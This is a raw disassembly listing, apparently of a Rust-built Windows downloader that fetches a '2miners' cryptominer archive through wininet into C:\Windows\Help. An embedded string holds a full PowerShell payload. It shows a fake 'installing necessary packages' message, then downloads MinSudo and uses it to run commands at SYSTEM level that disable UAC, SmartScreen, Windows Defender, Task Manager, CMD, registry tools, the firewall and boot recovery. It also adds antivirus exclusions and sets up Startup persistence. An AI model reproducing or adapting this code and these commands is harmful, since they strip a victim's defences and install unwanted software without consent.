mov eax, 3
mov qword [rsp + 0x7d8], rax
lea rcx, [0x1404bcbe1]
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rax
lea rax, [0x1404bcbe4]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 7
lea rdx, [0x1404bcba7]
mov r8d, 0x2b
mov rcx, 0xffffffff80000002
mov r9d, 0x20019
call fcn.140032738
mov rsi, rax
mov rbx, rdx
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
mov rcx, 0xffffffff80000002
call fcn.1402d9e0e
test rsi, rsi
je 0x140064943
lea rcx, [rsp + 0x140]
call fcn.140025d2c
lea rax, [0x1404bcc16]
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], 0x21
lea rax, [0x1404bcbf4]
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4e8], 0x22
lea rax, [0x1404bcbeb]
mov qword [rsp + 0x790], rax
mov eax, 4
mov qword [rsp + 0x798], rax
lea rcx, [0x1404bcbd2]
mov qword [rsp + 0x7a0], rcx
mov ecx, 6
mov qword [rsp + 0x7a8], rcx
lea rdx, [0x1404bcbd8]
mov qword [rsp + 0x7b0], rdx
mov qword [rsp + 0x7b8], rcx
lea rcx, [0x14052861d]
mov qword [rsp + 0x7c0], rcx
mov qword [rsp + 0x7c8], rax
lea rax, [0x1404bcbde]
mov qword [rsp + 0x7d0], rax
mov eax, 3
mov qword [rsp + 0x7d8], rax
lea rcx, [0x1404bcbe1]
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rax
lea rax, [0x1404bcbe4]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 7
xor eax, eax
cmp rax, 2
je 0x14006455a
mov qword [rsp + 0x40], rax
shl rax, 4
mov rdx, qword [rsp + rax + 0x4d0]
mov r8, qword [rsp + rax + 0x4d8]
lea rcx, [rsp + 0x1f0]
call fcn.1402d9ce1
and qword [rsp + 0xa0], 0
mov rbx, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], rdi
mov rcx, 0xffffffff80000002
mov rdx, rbx
xor r8d, r8d
mov r9d, 0x20019
call sub.advapi32.dll_RegOpenKeyExW
xor r14d, r14d
test eax, eax
setne cl
jne 0x14006427f
mov rsi, qword [rsp + 0xa0]
jmp 0x14006428a
mov rsi, rax
shl rsi, 0x20
or rsi, 2
mov r15, rax
inc qword [rsp + 0x40]
mov r14b, cl
mov rdx, qword [rsp + 0x1f8]
mov rcx, rbx
call fcn.1402d7b3c
mov qword [rsp + 0x158], r14
mov qword [rsp + 0x160], rsi
mov rcx, 0xffffffff80000002
call fcn.1402d9e0e
test r15d, r15d
jne 0x140064543
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x68], rsi
and qword [rsp + 0x1c0], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0xe0], rax
and dword [rsp + 0xe8], 0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0xf0], rax
lea rsi, [rsp + 0x1f0]
mov rcx, rsi
lea rdx, [rsp + 0xe0]
call fcn.1402d9e22
cmp qword [rsp + 0x1f0], 0
je 0x1400643d3
mov rax, qword [rsp + 0x1f8]
mov rsi, qword [rsp + 0x200]
test rax, rax
je 0x1400644ec
mov rcx, qword [rsp + 0x208]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rcx
mov rbx, qword [rsp + 0xf0]
mov qword [rsp + 0xb0], rbx
vmovdqu xmm0, xmmword [rsp + 0xe0]
vmovdqa xmmword [rsp + 0xa0], xmm0
lea rsi, [rsp + 0x50]
lea rcx, [rsp + 0x1f0]
mov rdx, rdi
call fcn.1402d9e22
cmp qword [rsp + 0x1f0], 0
je 0x1400643e8
mov r15, qword [rsp + 0x1f8]
mov r14, qword [rsp + 0x200]
test r15, r15
je 0x1400643f7
mov r8, qword [rsp + 0x208]
add r8, r15
mov rcx, rsi
mov rdx, r15
call fcn.1402ddb96
mov rcx, r15
mov rdx, r14
call fcn.1400d33bf
jmp 0x140064380
mov rcx, rsi
call fcn.14002177a
mov r13d, 1
xor r12d, r12d
xor ebx, ebx
jmp 0x140064411
lea rcx, [rsp + 0x1f0]
call fcn.14002177a
jmp 0x140064402
mov rcx, rbx
call fcn.140021818
mov qword [rbx], r14
mov r13, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x1c0]
test rsi, rsi
jne 0x140064509
mov qword [rsp + 0x140], r13
mov qword [rsp + 0x148], rbx
mov qword [rsp + 0x150], r12
test r13, r13
je 0x140064525
mov esi, 8
cmp rsi, 0x78
je 0x1400644dc
mov rcx, rdi
mov rdx, r13
mov r8, r12
call fcn.1400aa4d0
mov r14, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xb0]
mov rdx, qword [rsp + rsi + 0x788]
mov r8, qword [rsp + rsi + 0x790]
lea rcx, [rsp + 0x1f0]
call fcn.1400aa4d0
mov r15, qword [rsp + 0x1f0]
mov r9, qword [rsp + 0x200]
mov rcx, r14
mov rdx, rbp
mov r8, r15
call fcn.1400264b9
test al, al
jne 0x14006600b
mov rdx, qword [rsp + 0x1f8]
mov rcx, r15
call fcn.1400d33bf
mov rdx, qword [rsp + 0xa8]
mov rcx, r14
call fcn.1400d33bf
add rsi, 0x10
jmp 0x140064448
mov rcx, r13
mov rdx, rbx
call fcn.1400d33bf
jmp 0x1400642d4
lea rcx, [rsp + 0x1c0]
call fcn.140021818
mov qword [rsp + 0x1c0], rsi
mov r13d, 1
xor ebx, ebx
mov qword [rsp + 0x148], rsi
and qword [rsp + 0x140], 0
mov rcx, r13
mov rdx, rbx
call fcn.1400d33bf
lea rcx, [rsp + 0x140]
call fcn.140026220
mov rcx, qword [rsp + 0x68]
call fcn.1402d9e0e
cmp dword [rsp + 0x30], 0
je 0x140064550
lea rcx, [rsp + 0x158]
call fcn.140025d2c
mov rax, qword [rsp + 0x40]
jmp 0x14006420d
lea rdx, [0x1404bc4ae]
lea rcx, [rsp + 0x790]
mov r8d, 0xa
call fcn.1402a0d13
lea rax, [0x1404bc4d6]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 0xa
lea rax, [0x1404bc4b8]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 0x10
lea rax, [0x1404bc4c8]
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], 6
lea rax, [0x1404bc4ce]
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], 8
lea rax, str._n________Add_Type__AssemblyName_PresentationFramework_n_________System.Windows.MessageBox_::Show_Please_Wait_While_we_install_necessary_packages_for_You_._Window_will_be_closed_after_Installation_____n________Write_Host__Installing_Necessary_Packages.....Please_Wait.....___ForegroundColor_Green_n_____________Download_file_n_destination___C:Nana.zip__nbitsadmin__transfer_Explorers__download__priority_FOREGROUND_http:__github.com_M2Team_NanaRun_releases_download_1.0.18.0_NanaRun_1.0_Preview2_1.0.18.0.zip_C:Nana.zip_n_Extract_archive_nExpand_Archive__Path__destination__DestinationPath__C:__ncd_C:x64_nset_pop_systemroot__n.Minsudo.exe___system___privileged___nologo_icacls___pop_System32_smartscreen.exe___inheritance:r__remove_S_1_5_32_544_S_1_5_11_S_1_5_32_545_S_1_5_18_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__ConsentPromptBehaviorAdmin___t_REG_DWORD__d__0___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderUX_Configuration___v__Notification_Suppress___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableTaskMgr___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableCMD___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableRegistryTools___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer___v__NoRun___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_sc_stop_windefend__n.Minsudo.exe___system___privileged___nologo_sc_delete_windefend__n.Minsudo.exe___system___privileged___nologo_Add_MpPreference__ExclusionExtension__.ps1__n.Minsudo.exe___system___privileged___nologo_powershell.exe_bcdedit__set_default_recoveryenabled_No_n.Minsudo.exe___system___privileged___nologo_powershell.exe_bcdedit__set_default_bootstatuspolicy_ignoreallfailures_n.Minsudo.exe___system___privileged___nologo_Add_MpPreference__ExclusionPath___USERPROFILE_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup__n.Minsudo.exe___system___privileged___nologo_New_ItemProperty__Path_HKLM:SoftwareMicrosoftWindowsCurrentVersionpolicies_system__Name_EnableLUA__PropertyType_DWord__Value_0__Force_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__EnableControlledFolderAccess_Disabled_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__PUAProtection_disable_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__HighThreatDefaultAction_6__Force_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__ModerateThreatDefaultAction_6_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__LowThreatDefaultAction_6_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__SevereThreatDefaultAction_6_n.Minsudo.exe___system___privileged___nologo_Set_MpPreference__ScanScheduleDay_8_n.Minsudo.exe___system___privileged___nologo_netsh_advfirewall_set_allprofiles_state_off_nxcopy_.Minsudo.exe___USERPROFILE_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup__ncd___USERPROFILE_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup__n.Minsudo.exe___system___privileged___nologo_reg_delete__HKLMSoftwarePoliciesMicrosoftWindows_Defender___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiSpyware___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiVirus___t_REG_DWORD__d__1___f_n.Minsudo.exe___system___privileged___nologo_reg_add__HKLMSoftwarePoliciesMicrosoft_
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x238], 0x1ece
mov r15d, 8
lea rdi, [rsp + 0x820]
cmp r15, 0x58
je 0x1400646bd
mov r12, qword [rsp + r15 + 0x1e8]
mov rbx, qword [rsp + r15 + 0x1f0]
test rbx, rbx
je 0x14006464e
js 0x1400665d7
mov al, byte [0x1406ba220]
mov edx, 1
mov rcx, rbx
call fcn.140087770
mov r14, rax
test rax, rax
jne 0x140064654
jmp 0x1400665e8
mov r14d, 1
mov rcx, r14
mov rdx, r12
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x830]
cmp rdx, qword [rsp + 0x828]
jne 0x140064684
mov rcx, rdi
call fcn.14029adf0
mov rdx, qword [rsp + 0x830]
mov rax, qword [rsp + 0x820]
imul rcx, rdx, 0x28
and qword [rax + rcx], 0
mov qword [rax + rcx + 8], r14
mov qword [rax + rcx + 0x10], rbx
mov qword [rax + rcx + 0x18], rbx
mov byte [rax + rcx + 0x20], 0
inc rdx
mov qword [rsp + 0x830], rdx
add r15, 0x10
jmp 0x140064609
lea r15, [rsp + 0x4d0]
lea rdi, [rsp + 0x790]
mov rcx, r15
mov rdx, rdi
call fcn.14028d8d0
lea rax, str.src_m.rsBb__
mov qword [rsp + 0x20], rax
lea r8, [0x1404bc4e0]
lea rbx, [rsp + 0xa0]
mov r9d, 0x19
mov rcx, rbx
mov rdx, r15
call fcn.140026eb4
mov rcx, rbx
call fcn.14002240a
mov rcx, rdi
call fcn.1400227ab
lea rdx, str.RustWinapiDownloader
lea rdi, [rsp + 0x790]
mov r8d, 0x14
mov rcx, rdi
call fcn.1400a9be0
lea rdx, str.src_m.rsBb__
mov rcx, rdi
call fcn.14002715f
mov qword [rsp + 0x30], rdx
and dword [rsp + 0x20], 0
mov qword [rsp + 0x40], rax
mov rcx, rax
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.wininet.dll_InternetOpenA
mov r14, rax
lea rdx, [0x1404bc547]
lea rdi, [rsp + 0x790]
mov r8d, 0x1d
mov rcx, rdi
call fcn.1400a9be0
lea rdx, str.src_m.rsBb__
mov rcx, rdi
call fcn.14002715f
mov r12, rax
mov qword [rsp + 0x48], rdx
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov rcx, r14
mov rdx, rax
xor r8d, r8d
xor r9d, r9d
call sub.wininet.dll_InternetOpenUrlA
test rax, rax
je 0x140066638
mov rbp, rax
lea rbx, [rsp + 0x790]
mov r8d, 0x1000
mov rcx, rbx
xor edx, edx
call sub.msvcrt.dll_memset
lea rdi, [rsp + 0xe0]
and dword [rdi], 0
lea rcx, str.C:WindowsHelpdata.zipC:WindowsHelp2minershttps:__bit.ly_2miners_githubSuccessfully_extracted_the_ZIP_file._n
mov edx, 0x18
call fcn.14001a8c2
mov r13, rdx
lea rcx, str.src_m.rsBb__
mov qword [rsp + 0x20], rcx
lea r8, str.Failed_to_create_file
mov r9d, 0x15
mov rcx, rax
call fcn.140026f58
lea rax, [rsp + 0xa0]
mov qword [rax], r13
lea rsi, str.src_m.rsBb__
mov rcx, rbp
mov rdx, rbx
mov r8d, 0x1000
mov r9, rdi
call sub.wininet.dll_InternetReadFile
test eax, eax
je 0x140066577
mov edx, dword [rsp + 0xe0]
test rdx, rdx
je 0x1400648b1
mov qword [rsp + 0x20], rsi
mov r9d, 0x1000
xor ecx, ecx
mov r8, rbx
call fcn.1401f67e5
mov r8, rdx
lea rcx, [rsp + 0xa0]
mov rdx, rax
call fcn.1402df515
test rax, rax
je 0x14006482b
lea r8, [rsp + 0x1f0]
mov qword [r8], rax
lea rax, str.src_m.rsBb__
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_write_to_file
lea r9, fcn.14002276f
mov edx, 0x17
call fcn.1400b9710
ud2
mov rcx, rbp
call sub.wininet.dll_InternetCloseHandle
mov rcx, r14
call sub.wininet.dll_InternetCloseHandle
mov rcx, r13
call fcn.1403001e4
mov rcx, r12
mov rdx, qword [rsp + 0x48]
call fcn.1400233bd
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
call fcn.1400233bd
lea rcx, [rsp + 0x790]
and dword [rcx], 0
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rcx + 8], xmm0
mov dword [rcx + 0x18], 7
and qword [rcx + 0x1c], 0
and word [rcx + 0x24], 0
mov byte [rcx + 0x20], 1
lea rdx, str.C:WindowsHelpdata.zipC:WindowsHelp2minershttps:__bit.ly_2miners_githubSuccessfully_extracted_the_ZIP_file._n
mov r8d, 0x18
call fcn.140287e10
mov r14, rdx
test rax, rax
je 0x140064a79
mov rcx, r14
call fcn.1401ac421
mov rdi, rax
lea r12, fcn.1400f4276
jmp 0x1400660ea
mov qword [rsp + 0x120], rbx
lea rdx, [0x1404bcbef]
lea rsi, [rsp + 0xa0]
mov r8d, 5
mov rcx, rsi
call fcn.1400328b7
lea r12, [rsp + 0xe0]
mov dword [r12], 0x800
lea r14, [rsp + 0x50]
and dword [r14], 0
mov ecx, 0x800
xor edx, edx
call fcn.140262f2f
mov rbx, rax
lea rax, [rsp + 0x4d0]
mov qword [rax], rbx
mov qword [rax + 8], rdx
and qword [rax + 0x10], 0
mov rsi, qword [rsi]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rbx
mov rcx, qword [rsp + 0x120]
mov rdx, rsi
xor r8d, r8d
mov r9, r14
call sub.advapi32.dll_RegQueryValueExW
cmp eax, 0xea
jne 0x1400649ec
mov edx, dword [rsp + 0xe0]
lea rcx, [rsp + 0x4d0]
call fcn.14013a606
mov rbx, qword [rsp + 0x4d0]
jmp 0x1400649a7
mov r15d, eax
test eax, eax
jne 0x140064abf
mov eax, dword [rsp + 0xe0]
mov qword [rsp + 0x4e0], rax
mov ebp, dword [rsp + 0x50]
movabs r15, 0xde00000002
cmp ebp, 0xb
ja 0x140064ac7
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x200], rax
vmovdqu xmm0, xmmword [rsp + 0x4d0]
vmovdqa xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x208], bpl
mov rdx, qword [rsp + 0xa8]
mov rcx, rsi
call fcn.1402d7b3c
cmp bpl, 4
jne 0x1400656d5
mov rax, qword [rsp + 0x1f0]
mov eax, dword [rax]
mov dword [rsp + 0x4d4], eax
xor eax, eax
jmp 0x1400656ec
lea rdx, [rsp + 0x38]
mov qword [rdx], r14
lea r8, [rsp + 0x790]
and qword [r8 + 8], 0
mov qword [r8], 1
lea r13, [rsp + 0x1f0]
mov rcx, r13
call fcn.140287db0
cmp qword [r13], 0
je 0x1400655d9
mov rsi, qword [rsp + 0x1f8]
xor ebp, ebp
jmp 0x140065790
shl r15, 0x20
or r15, 2
mov qword [rsp + 0x1f0], r15
mov rdx, qword [rsp + 0x4d8]
mov rcx, rbx
call fcn.1400d33bf
mov rdx, qword [rsp + 0xa8]
mov rcx, rsi
call fcn.1402d7b3c
mov qword [rsp + 0x4d8], r15
mov dword [rsp + 0x4d0], 1
lea rcx, [rsp + 0x4d8]
call fcn.14002276f
mov dword [rsp + 0x118], 0
vpxor xmm6, xmm6, xmm6
xor eax, eax
cmp eax, dword [rsp + 0x118]
je 0x14006560d
mov dword [rsp + 0x68], eax
inc eax
xor esi, esi
mov dword [rsp + 0x108], eax
cmp rsi, 7
je 0x140064b20
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x220], 0x20
mov byte [rsp + 0x228], 3
and qword [rsp + 0x1f0], 0
shl rsi, 4
and qword [rsp + 0x200], 0
mov qword [rsp + 0x4d0], 1
lea rax, [rsp + 0x4d8]
vmovdqu xmmword [rax], xmm6
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x210], rax
lea rax, [0x1404b86e8]
mov qword [rsp + 0x218], rax
lea rcx, [rsp + 0x68]
lea r14, [rsp + 0x1f0]
mov rdx, r14
call fcn.1400baee0
mov ecx, eax
call fcn.140026e7c
mov rbx, qword [rsp + 0x4d0]
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x30], rax
mov r12, qword [rsp + 0x4e0]
mov r15, qword [rsp + rsi + 0x790]
mov rbp, qword [rsp + rsi + 0x798]
mov r8d, 0x2b
mov rcx, 0xffffffff80000002
lea rdx, [0x1404bcba7]
mov r9d, 0x20019
call fcn.140032738
mov rsi, rax
mov r13, rdx
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rdx
mov rcx, 0xffffffff80000002
call fcn.1402d9e0e
test rsi, rsi
je 0x140064c49
lea rcx, [rsp + 0xe0]
call fcn.140025d2c
jmp 0x14006503e
mov qword [rsp + 0x88], r15
add r12, rbx
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], r12
and word [rsp + 0x200], 0
mov dword [rsp + 0x208], 1
lea rcx, [rsp + 0xa0]
mov rdx, r14
call fcn.14002695c
mov dword [rsp + 0x1c0], 0x800
and dword [rsp + 0x158], 0
mov ecx, 0x800
xor edx, edx
call fcn.140262f2f
mov rbx, rax
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rdx
and qword [rsp + 0x200], 0
mov rsi, qword [rsp + 0xa0]
mov r12, r13
mov r15, rbp
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, rsi
xor r8d, r8d
lea r9, [rsp + 0x158]
call sub.advapi32.dll_RegQueryValueExW
cmp eax, 0xea
jne 0x140064d26
mov edx, dword [rsp + 0x1c0]
lea rcx, [rsp + 0x1f0]
call fcn.14013a606
mov rbx, qword [rsp + 0x1f0]
jmp 0x140064cd9
mov r14d, eax
test eax, eax
jne 0x140064ff1
mov eax, dword [rsp + 0x1c0]
mov qword [rsp + 0x200], rax
mov ebp, dword [rsp + 0x158]
movabs r14, 0xde00000002
cmp ebp, 0xb
ja 0x140064ff9
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x4e0], rax
vmovdqu xmm0, xmmword [rsp + 0x1f0]
vmovdqa xmmword [rsp + 0x4d0], xmm0
mov byte [rsp + 0x4e8], bpl
mov rdx, qword [rsp + 0xa8]
mov rcx, rsi
call fcn.1402d7b3c
cmp bpl, 7
ja 0x1400654d2
movzx eax, bpl
mov ecx, 0x86
bt ecx, eax
jae 0x1400654d2
mov dword [rsp + 0x190], ebp
mov qword [rsp + 0x110], r15
mov rbx, qword [rsp + 0x4d0]
mov rax, qword [rsp + 0x4e0]
mov rsi, rax
and rsi, 0xfffffffffffffffe
add rsi, rbx
mov qword [rsp + 0x1f0], 1
lea rcx, [rsp + 0x1f8]
vmovdqu xmmword [rcx], xmm6
mov rdx, rax
shr rdx, 2
bt eax, 1
adc rdx, 0
lea r13, [rsp + 0x1f0]
mov rcx, r13
call fcn.14013a606
xor r15d, r15d
test r15w, r15w
je 0x140064e1d
mov ecx, ebp
jmp 0x140064e2d
cmp rbx, rsi
je 0x14006505f
movzx ecx, word [rbx]
add rbx, 2
mov eax, ecx
and eax, 0xf800
cmp ax, 0xd800
jne 0x140064e90
cmp cx, 0xdbff
ja 0x140064f1f
cmp rbx, rsi
je 0x140064f24
movzx eax, word [rbx]
add rbx, 2
mov edx, eax
add edx, 0x2000
cmp dx, 0xfc00
jb 0x140064f3a
movzx eax, ax
and ecx, 0x3ff
and eax, 0x3ff
shl rcx, 0x1a
shl rax, 0x10
or rax, rcx
movabs rcx, 0x100000000
add rax, rcx
jmp 0x140064e97
movzx eax, cx
shl rax, 0x10
mov r14, rax
shr r14, 0x10
cmp r14d, 0x80
jae 0x140064ee8
mov rdx, qword [rsp + 0x200]
cmp rdx, qword [rsp + 0x1f8]
jne 0x140064ec9
mov rcx, r13
call fcn.1402d9b13
mov rdx, qword [rsp + 0x200]
mov rax, qword [rsp + 0x1f0]
mov byte [rax + rdx], r14b
inc rdx
mov qword [rsp + 0x200], rdx
xor r15d, r15d
jmp 0x140064e13
and dword [rsp + 0xa0], 0
cmp r14d, 0x800
jae 0x140064f2c
shr eax, 0x16
or al, 0xc0
mov byte [rsp + 0xa0], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0xa1], r14b
mov eax, 2
jmp 0x140064fce
xor r15d, r15d
jmp 0x140064f41
xor r15d, r15d
mov rbx, rsi
jmp 0x140064f41
cmp r14d, 0x10000
jae 0x140064f86
xor r15d, r15d
jmp 0x140064f4f
mov r15w, 1
mov ebp, eax
and dword [rsp + 0xa0], 0
mov r14d, 0xfffd
mov eax, r14d
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0xa0], al
mov eax, r14d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xa1], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0xa2], r14b
mov eax, 3
jmp 0x140064fd1
mov rcx, rax
shr rcx, 0x22
or cl, 0xf0
mov byte [rsp + 0xa0], cl
mov rcx, rax
shr rcx, 0x1c
and cl, 0x3f
or cl, 0x80
mov byte [rsp + 0xa1], cl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xa2], al
and r14b, 0x3f
or r14b, 0x80
mov byte [rsp + 0xa3], r14b
mov eax, 4
xor r15d, r15d
lea r8, [rsp + rax]
add r8, 0xa0
mov rcx, r13
lea rdx, [rsp + 0xa0]
call fcn.140192a36
jmp 0x140064e13
shl r14, 0x20
or r14, 2
mov rdx, qword [rsp + 0x1f8]
mov rcx, rbx
call fcn.1400d33bf
mov rdx, qword [rsp + 0xa8]
mov rcx, rsi
call fcn.1402d7b3c
mov qword [rsp + 0x58], r14
and qword [rsp + 0x50], 0
mov rbx, qword [rsp + 0x90]
lea rcx, [rsp + 0x50]
call fcn.140026220
mov rcx, r12
call fcn.1402d9e0e
mov rsi, qword [rsp + 0x40]
inc rsi
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
call fcn.1400d33bf
mov eax, dword [rsp + 0x108]
jmp 0x140064b3c
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x200]
inc rax
mov rbx, qword [rsp + 0x90]
mov r15, qword [rsp + 0x110]
mov esi, dword [rsp + 0x190]
cmp rax, 1
je 0x1400650a7
lea r13, [rax - 1]
cmp byte [rdx + rax - 2], 0
mov rax, r13
je 0x140065091
jmp 0x1400650aa
xor r13d, r13d
cmp sil, 7
jne 0x14006543e
mov qword [rsp + 0x98], rcx
mov qword [rsp + 0x1a0], r12
mov ecx, 1
mov qword [rsp + 0xa0], rcx
lea rax, [rsp + 0xa8]
vmovdqu xmmword [rax], xmm6
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x1f0]
mov qword [rsp + 0x188], rdx
mov r8, r13
lea r9, [0x140601871]
call fcn.1400be3e0
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x1b8], rax
mov r14, qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x208]
mov rcx, qword [rsp + 0x210]
mov qword [rsp + 0x198], rcx
mov r15, qword [rsp + 0x218]
mov rdx, qword [rsp + 0x228]
mov rbp, qword [rsp + 0x238]
mov rsi, qword [rsp + 0x240]
mov r12, qword [rsp + 0x248]
mov rbx, qword [rsp + 0x250]
lea rcx, [rbx - 1]
mov qword [rsp + 0x80], rcx
mov rcx, rax
and rcx, 0xffffffffffffff00
mov qword [rsp + 0x1b0], rcx
mov qword [rsp + 0x178], rax
mov byte [rsp + 0x48], al
xor eax, eax
mov qword [rsp + 0x128], rax
cmp qword [rsp + 0x1b8], 0
je 0x140065324
movzx eax, byte [rsp + 0x48]
or rax, qword [rsp + 0x1b0]
mov rcx, rbx
mov qword [rsp + 0x100], rax
sub rcx, rax
mov qword [rsp + 0x1a8], rcx
mov rax, rdx
mov qword [rsp + 0x78], rdx
cmp r14, rax
mov r11, rax
cmova r11, r14
mov r10, rdx
cmp rdx, 0xffffffffffffffff
cmove r11, r14
mov r9d, 0
mov qword [rsp + 0x180], rax
cmovne r9, rax
mov rax, qword [rsp + 0x80]
add rax, r15
cmp rax, rsi
jae 0x14006544f
movzx eax, byte [rbp + rax]
mov rcx, qword [rsp + 0x198]
bt rcx, rax
jae 0x1400652b4
lea rdx, [r15 + rbp]
mov rcx, r11
cmp rcx, rbx
jae 0x14006525e
mov rax, rcx
add rcx, r15
cmp rcx, rsi
jae 0x1400655d0
lea rcx, [rax + 1]
mov r8b, byte [r12 + rax]
cmp r8b, byte [rdx + rax]
je 0x140065228
sub r15, r14
add r15, rax
inc r15
cmp r10, 0xffffffffffffffff
je 0x1400651f6
jmp 0x1400652e5
mov rcx, r14
cmp r9, rcx
jae 0x1400652f6
dec rcx
cmp rcx, rbx
jae 0x14006561f
lea rax, [rcx + r15]
cmp rax, rsi
jae 0x14006562b
mov dl, byte [r12 + rcx]
cmp dl, byte [rbp + rax]
je 0x140065261
add r15, qword [rsp + 0x100]
cmp r10, 0xffffffffffffffff
je 0x1400651f6
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x78], rax
mov rdx, r10
jmp 0x1400651cf
add r15, rbx
mov rdx, r10
cmp r10, 0xffffffffffffffff
mov eax, 0
mov rcx, qword [rsp + 0x78]
cmovne rcx, rax
mov qword [rsp + 0x78], rcx
mov rcx, qword [rsp + 0x180]
cmovne rcx, rax
mov rax, rcx
jmp 0x1400651cf
xor eax, eax
mov qword [rsp + 0x78], rax
xor eax, eax
mov rdx, r10
jmp 0x1400651cf
cmp r10, 0xffffffffffffffff
mov eax, 0
mov rcx, qword [rsp + 0x78]
cmovne rcx, rax
lea rax, [r15 + rbx]
mov r8, r15
mov qword [rsp + 0x100], rax
mov r15, rax
mov qword [rsp + 0x78], rcx
jmp 0x1400653e6
mov qword [rsp + 0x78], rdx
test dword [rsp + 0x178], 0xff0000
jne 0x14006544f
mov rax, rsi
test r14, r14
je 0x14006535d
mov rax, rsi
sub rax, r14
jbe 0x140065357
cmp byte [rbp + r14], 0xbf
jg 0x14006535d
jmp 0x1400664f5
jne 0x1400664f5
lea rcx, [r14 + rbp]
add rax, rcx
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x1f0]
call fcn.1402c965c
test eax, eax
mov eax, 0x110000
cmove edx, eax
mov al, byte [rsp + 0x48]
test al, al
jne 0x1400653d5
cmp edx, 0x110000
je 0x14006544f
mov eax, 1
cmp edx, 0x80
jb 0x1400653c8
mov eax, 2
cmp edx, 0x800
jb 0x1400653c8
cmp edx, 0x10000
mov eax, 4
sbb rax, 0
add r14, rax
mov byte [rsp + 0x48], 1
jmp 0x14006533a
xor al, 1
mov byte [rsp + 0x48], al
mov qword [rsp + 0x100], r14
mov r8, r14
mov rax, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x128]
add rdx, rax
add r8, rax
lea rcx, [rsp + 0xa0]
call fcn.140192a36
lea rcx, [rsp + 0xa0]
lea rdx, case.0x1401952c2.10
lea r8, [0x140601871]
call fcn.140192a36
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x128], rax
mov rdx, qword [rsp + 0x78]
jmp 0x140065195
